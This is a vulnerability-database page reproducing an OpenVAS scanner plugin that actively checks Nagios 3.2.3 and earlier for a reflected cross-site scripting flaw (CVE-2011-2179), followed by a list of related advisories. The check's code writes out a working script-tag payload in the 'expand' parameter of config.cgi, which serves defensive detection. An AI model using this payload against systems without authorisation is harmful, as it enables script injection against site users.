Lucene search
+L

Nagios < 3.3.1 'expand' Parameter XSS Vulnerability - Active Check

🗓️ 07 Jun 2011 00:00:00Reported by Copyright (C) 2011 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 23 Views

Nagios 'expand' Parameter Cross-Site Scripting Vulnerability in versions 3.2.3 and prior. Upgrade to version 3.3.1 or late

Related
Refs
Code
ReporterTitlePublishedViews
Family
amazon
Amazon
Medium: nagios
4 Mar 201200:00
amazon
nessus
Tenable Nessus
Amazon Linux AMI : nagios (ALAS-2012-50)
4 Sep 201300:00
nessus
nessus
Tenable Nessus
Fedora 15 : nagios-3.3.1-3.fc15 (2012-1583)
21 Feb 201200:00
nessus
nessus
Tenable Nessus
Fedora 16 : nagios-3.3.1-3.fc16 (2012-1592)
21 Feb 201200:00
nessus
nessus
Tenable Nessus
openSUSE Security Update : nagios (openSUSE-SU-2011:0836-1)
13 Jun 201400:00
nessus
nessus
Tenable Nessus
Ubuntu 10.04 LTS / 10.10 / 11.04 : nagios3 vulnerabilities (USN-1151-1)
16 Jun 201100:00
nessus
circl
Circl
CVE-2011-2179
1 Jun 201100:00
circl
cve
CVE
CVE-2011-2179
14 Jun 201117:00
cve
cvelist
Cvelist
CVE-2011-2179
14 Jun 201117:00
cvelist
debiancve
Debian CVE
CVE-2011-2179
14 Jun 201117:00
debiancve
Rows per page
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:nagios:nagios";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801894");
  script_version("2025-09-11T05:38:37+0000");
  script_tag(name:"last_modification", value:"2025-09-11 05:38:37 +0000 (Thu, 11 Sep 2025)");
  script_tag(name:"creation_date", value:"2011-06-07 13:29:28 +0200 (Tue, 07 Jun 2011)");
  script_cve_id("CVE-2011-2179");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");

  script_name("Nagios < 3.3.1 'expand' Parameter XSS Vulnerability - Active Check");

  script_xref(name:"URL", value:"http://tracker.nagios.org/view.php?id=224");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/518221");
  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2011/Jun/22");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/101899/SSCHADV2011-006.txt");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_nagios_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("nagios/http/detected");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  HTML and script code in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"Nagios versions 3.2.3 and prior.");

  script_tag(name:"insight", value:"The flaw is caused by improper validation of user-supplied input
  passed via the 'expand' parameter in cgi-bin/config.cgi, which allows attackers to execute
  arbitrary HTML and script code on the web server.");

  script_tag(name:"solution", value:"Update to version 3.3.1 or later.");

  script_tag(name:"summary", value:"Nagios is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"solution_type", value:"VendorFix");


  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if (!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

url = dir + "/cgi-bin/config.cgi?type=command&expand=<script>" +
            "alert(String.fromCharCode(88,83,83))</script>";

if (http_vuln_check(port:port, url:url, check_header: TRUE,
                    pattern:"><script>alert\(String.fromCharCode\(88,83,83\)\)</script>")) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Sep 2025 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.26037
23